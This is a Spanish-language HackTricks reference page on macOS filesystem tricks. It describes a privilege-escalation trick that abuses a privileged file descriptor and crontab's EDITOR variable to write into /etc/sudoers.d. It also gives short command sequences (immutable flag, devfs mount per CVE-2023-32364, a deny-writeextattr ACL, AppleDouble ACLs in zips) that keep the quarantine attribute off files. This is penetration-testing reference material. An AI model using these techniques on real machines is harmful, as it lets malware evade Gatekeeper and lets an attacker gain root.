hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks.md

5.6 KiB

Trucos de macOS FS

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

FD Arbitrario

Si puedes hacer que un proceso abra un archivo o una carpeta con altos privilegios, puedes abusar de crontab para abrir un archivo en /etc/sudoers.d con EDITOR=exploit.py, de modo que exploit.py obtendrá el FD del archivo dentro de /etc/sudoers y lo abusará.

Por ejemplo: https://youtu.be/f1HA5QhLQ7Y?t=21098

Trucos para evitar atributos de cuarentena

Bandera uchg

Si un archivo/carpeta tiene este atributo inmutable, no será posible poner un xattr en él.

echo asd > /tmp/asd
chflags uchg /tmp/asd
xattr -w com.apple.quarantine "" /tmp/asd
xattr: [Errno 1] Operation not permitted: '/tmp/asd'

Montaje de defvfs

Un montaje de devfs no admite xattr, más información en CVE-2023-32364

mkdir /tmp/mnt
mount_devfs -o noowners none "/tmp/mnt"
chmod 777 /tmp/mnt
mkdir /tmp/mnt/lol
xattr -w com.apple.quarantine "" /tmp/mnt/lol
xattr: [Errno 1] Operation not permitted: '/tmp/mnt/lol'

ACL de writeextattr

Este ACL evita agregar xattrs al archivo.

rm -rf /tmp/test*
echo test >/tmp/test
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
ls -le /tmp/test
ditto -c -k test test.zip
# Download the zip from the browser and decompress it, the file should be without a quarantine xattr

cd /tmp
echo y | rm test

# Decompress it with ditto
ditto -x -k --rsrc test.zip .
ls -le /tmp/test

# Decompress it with open (if sandboxed decompressed files go to the Downloads folder)
open test.zip
sleep 1
ls -le /tmp/test

com.apple.acl.text entitlement

El formato de archivo AppleDouble copia un archivo incluyendo sus ACEs.

En el código fuente es posible ver que la representación de texto de ACL almacenada dentro del xattr llamado com.apple.acl.text se establecerá como ACL en el archivo descomprimido. Por lo tanto, si comprimiste una aplicación en un archivo zip con el formato de archivo AppleDouble con una ACL que impide que otros xattrs se escriban en él... el xattr de cuarentena no se estableció en la aplicación:

Consulta el informe original para obtener más información.

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥